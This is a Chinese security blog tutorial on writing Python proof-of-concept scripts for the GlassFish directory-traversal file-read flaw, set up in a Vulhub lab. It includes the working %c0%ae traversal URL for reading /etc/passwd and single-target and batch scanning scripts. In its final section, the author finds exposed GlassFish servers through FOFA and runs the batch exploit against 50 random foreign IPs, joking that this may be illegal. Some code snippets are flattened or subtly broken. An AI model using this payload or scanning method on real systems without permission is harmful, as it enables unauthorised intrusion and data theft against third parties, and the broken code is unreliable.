WEB 安全—深入学习文件读取漏洞 (四)

admin 2024年11月7日15:00:14评论24 views字数 5925阅读19分45秒阅读模式

WEB 安全—深入学习文件读取漏洞 (四)

WEB 安全—深入学习文件读取漏洞 (四)WEB 安全—深入学习文件读取漏洞 (四)WEB 安全—深入学习文件读取漏洞 (四)

01

POC的概念

在网络安全领域中,POC的概念是指"Proof of Concept",也被称为"攻击验证"。它是指安全研究人员或黑客用来证明某个漏洞、弱点或安全问题存在的实证或演示。

网络安全研究人员经常通过开发POC来展示一个漏洞的存在和影响,从而向厂商或用户提供证据,并促使其采取必要的措施来修复或解决该问题。通过POC,研究人员可以演示如何利用漏洞来进行攻击、获取敏感信息或者破坏系统。

POC通常包括漏洞的利用代码、相关的技术细节以及攻击成功的证据。通过POC,安全研究人员可以向厂商或组织提供一个具体的案例,以加强对漏洞的重要性和紧迫性的认识,并促使其采取适当的补救措施。

简单理解就是:POC就是用来验证某个漏洞是否存在的一段代码。

02

POC常用基础模块

1、Python-requests 模块

requests模块是一个功能强大且易于使用的HTTP库,用于发送HTTP请求和处理响应。它提供了简洁而直观的API,使得在Python中进行HTTP通信变得更加方便。以下是一些requests模块的常见用法和示例:

1、、发送GET请求:

import requests

response = requests.get('http://www.nanhack.com')
print(response.text)  # 打印响应内容

2、发送POST 请求

import requests

data = {'username': 'admin', 'password': 'pass'}
response = requests.post(
'http://www.nanhack.com/login.php', data=data)
print(response.status_code)  # 打印响应状态码

//get URL 参数

import requests

params = {'key': 'value'}

response = requests.get('https://example.com', params=params)

3、添加请求头

import requests

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}
response = requests.get(
'http://www.nanhack.com', headers=headers)

4、处理响应

import requests

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}
response = requests.get(
'http://www.nanhack.com', headers=headers)
print(response.status_code)  # 打印响应状态码
print(response.headers)  # 打印响应头部信息
print(response.json())  # 解析JSON响应

5、会话管理

import requests

session = requests.Session()
session.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'})

response1 = session.get('https://api.example.com')
response2 = session.post(
'https://api.example.com/login', data={'username': 'user', 'password': 'pass'})

6、异常处理

在异常处理中,使用except requests.exceptions.RequestException as e语句可以捕获和处理requests库中的RequestException异常。as e部分是可选的,它允许将异常实例赋给一个变量(例如e),以便在except块中访问异常的详细信息。

以下是一个使用except requests.exceptions.RequestException捕获和处理RequestException异常的示例:

import requests
from requests.exceptions import RequestException

try:
    response = requests.get(
'https://api.example.com')
    response.raise_for_status()
except RequestException as e:
   
print("An error occurred:", e)

2、Python-urllib3 模块

urllib3.disable_warnings()是Python中urllib3库的函数调用,用于禁用对SSL证书的验证警告。

在使用urllib3发送HTTPS请求时,它会默认验证SSL证书的有效性,并在遇到自签名证书或无效证书时发出警告。然而,有时在测试或开发环境中,我们可能希望忽略这些警告,方便能够继续进行测试。

通过调用urllib3.disable_warnings()函数,可以禁用这些SSL证书验证的警告。以下是一个简单的示例:

import urllib3

# 禁用SSL证书验证警告
urllib3.disable_warnings()

# 创建一个urllib3.PoolManager实例
http = urllib3.PoolManager()

# 发送HTTPS请求
response = http.request('GET', 'https://www.baidu.com')

# 打印响应信息
print(response.status)  # 响应状态码
print(response.data)  # 响应数据

示例中,我们调用urllib3.disable_warnings()函数来禁用SSL证书验证警告。然后,创建了一个urllib3.PoolManager()实例来发送HTTP请求。由于禁用了警告,即使遇到无效证书,也不会发出警告信息。

也可以直接使用urllib3.disable_warnings()函数来禁用警告。

import requests
import urllib3

# 禁用SSL证书验证警告
urllib3.disable_warnings()

# 发送HTTPS请求
response = requests.get('GET', 'https://www.baidu.com')

# 打印响应信息
print(response.status)  # 响应状态码
print(response.data)  # 响应数据

示例中,我们只调用了urllib3.disable_warnings()函数,它会禁用urllib3库的SSL证书验证警告。在此之后,当使用urllib3发送HTTPS请求时,就不会收到与SSL证书验证相关的警告。

4、Python-sys 模块

sys 是 Python 标准库中的一个模块,提供了与 Python 解释器和运行时环境交互的功能。通过导入 sys 模块,你可以访问一些与系统相关的变量和函数。下面是 sys 模块中是写POC常用的功能:

1、sys.argv:这是一个包含命令行参数的列表。当你在命令行中执行一个 Python 脚本时,sys.argv 可以让你获取传递给脚本的参数。

import sys
print (sys.argv[0]) #当前程序名
print (sys.argv[1]) #第一个参数
print (sys.argv[2]) #第二个参数
print (sys.argv[3]) #第三个参数
a = len(sys.argv)-1 #参数个数
print (f'参数个数:{a}')

import sys

if len(sys.argv) > 1:
   
# 第一个参数是脚本本身的文件名
   
# 之后的参数是传递给脚本的参数
   
for arg in sys.argv[1:]:
       
print(arg)

WEB 安全—深入学习文件读取漏洞 (四)

2、sys.exit([arg]):用于退出 Python 解释器。可选的参数 arg 用于指定退出状态码,默认为 0(表示成功)。

import sys

sys.exit(1# 以状态码 1 退出

5、Python-os 模块

Python 的 os 模块提供了一些函数,用于与操作系统进行交互。这个模块包含了很多实用的函数,用于管理文件和目录、获取系统信息、运行命令等。下面是 os 模块中一些常用的函数:

os.getcwd():获取当前工作目录。os.chdir(path):改变当前工作目录。os.listdir(path):列出指定目录中的文件和子目录。os.mkdir(path):创建一个目录。os.makedirs(path):递归地创建目录。os.rmdir(path):删除一个目录。os.removedirs(path):递归地删除目录。os.rename(src, dst):将文件或目录从 src 改名为 dst。os.remove(path):删除一个文件。os.path.exists(path):判断路径是否存在。os.path.abspath(path):获取绝对路径。os.path.basename(path):获取路径的最后一部分(文件名或目录名)。os.path.dirname(path):获取路径的目录部分。os.path.join(path1, path2, ...):将多个路径组合成一个路径。

这些函数可以让我们在 Python 中方便地进行文件和目录的操作,同时也能够获取系统信息,运行命令等

03

测试环境搭建

这里我们使用Vulhub 环境GlassFish任意文件读取漏洞进行快速搭建测试环境

git clone https://github.com/vulhub/vulhub.git
cd vulhub/glassfish
docker-compose build
docker-compose up -d

WEB 安全—深入学习文件读取漏洞 (四)

环境运行后,访问http://your-ip:8080和http://your-ip:4848即可查看web页面。其中,8080端口是网站内容,4848端口是GlassFish管理中心。

WEB 安全—深入学习文件读取漏洞 (四)

04

漏洞复现分析

漏洞原理:

java语言中会把%c0%ae解析为uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。

用POC 访问,成功获取读取的内容。

访问https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

WEB 安全—深入学习文件读取漏洞 (四)

现在优化一下请求包,把不需要的字段去除掉,最后只保留host和user-agent、POC。没问题的话接下来就可以进行写POC了。

WEB 安全—深入学习文件读取漏洞 (四)

05

单个验证POC

写一个基本框架

import requestsdef poc():    url = "https://192.168.59.128:4848/"    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}    response = requests.get(url=url, headers=headers)    print(response.status_code)print(response.content)if __name__ == '__main__':    poc()

发送,存在报错

WEB 安全—深入学习文件读取漏洞 (四)

添加异常处理,再次发送可以看到提示安全证书检验失败

import requestsfrom requests.exceptions import RequestExceptionimport urllib3def poc():    try:        url = "https://192.168.59.128:4848/"        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}        response = requests.get(url=url, headers=headers)        print(response.status_code)        print(response.content)    except RequestException as e:        print("An error occurred:", e)if __name__ == '__main__':    poc()

WEB 安全—深入学习文件读取漏洞 (四)

解决方法:

urllib3.disable_warnings(),然后加参数:verify=证书路径,或verify=False 不验证ssl 默认为True

WEB 安全—深入学习文件读取漏洞 (四)

WEB 安全—深入学习文件读取漏洞 (四)

添加POC 以及返回请求结果

WEB 安全—深入学习文件读取漏洞 (四)

对结果进行判断处理:x表示密码,但是这里不显示。一般正常情况是显示x 把密码放在shadow文件里面的所以使用root:x 去匹配,也有其他情况可能把密码放到x的位置,所以再加上root: 去匹配。

WEB 安全—深入学习文件读取漏洞 (四)

现在基本就可以了,接下来添加url传参、sys.argv命令行,然后使用命令行进行运行。

WEB 安全—深入学习文件读取漏洞 (四)

当然加上颜色区别一下各种情况就更加奈斯一点了。

WEB 安全—深入学习文件读取漏洞 (四)

06

批量验证POC

上面是单个测试的,显然不够完美,接下来再此基础上添加批量测试。

if __name__ == '__main__':    argv = sys.argv[1]  # —file    urls = sys.argv[2]  # filename.txt    if len(sys.argv) != 3:        print('Usage: python3  poc.py -file filename.txt ')        sys.exit()    else:        with open(urls, "r") as file:            for line in file:                url = line.strip()                poc(url)

WEB 安全—深入学习文件读取漏洞 (四)

07

整合POC 脚本

把上面的两个脚本整和成一个

WEB 安全—深入学习文件读取漏洞 (四)

测试结果如下:

WEB 安全—深入学习文件读取漏洞 (四)

增加一个写入保存函数,用来批量测试的时候存储漏洞存在的目标

WEB 安全—深入学习文件读取漏洞 (四)

WEB 安全—深入学习文件读取漏洞 (四)

OK,到这里整个POC就写好了。接下来拿去实战验证一下。看看可不可(刑)!

08

POC实战验证

首先打开我的特殊会员,啊哈哈哈哈哈。。。。。。。。。。。。。。。

WEB 安全—深入学习文件读取漏洞 (四)

FOFA 语法:app="GlassFish" && port="4848"

WEB 安全—深入学习文件读取漏洞 (四)

这里随便找50个国外IP试试,结果如下:

WEB 安全—深入学习文件读取漏洞 (四)

WEB 安全—深入学习文件读取漏洞 (四)

WEB 安全—深入学习文件读取漏洞 (四)

WEB 安全—深入学习文件读取漏洞 (四)

WEB 安全—深入学习文件读取漏洞 (四)

扫码加交流群

WEB 安全—深入学习文件读取漏洞 (四)

End

WEB 安全—深入学习文件读取漏洞 (四)

原文始发于微信公众号(贝雷帽SEC):WEB 安全—深入学习文件读取漏洞 (四)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月7日15:00:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WEB 安全—深入学习文件读取漏洞 (四)https://cn-sec.com/archives/1823613.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息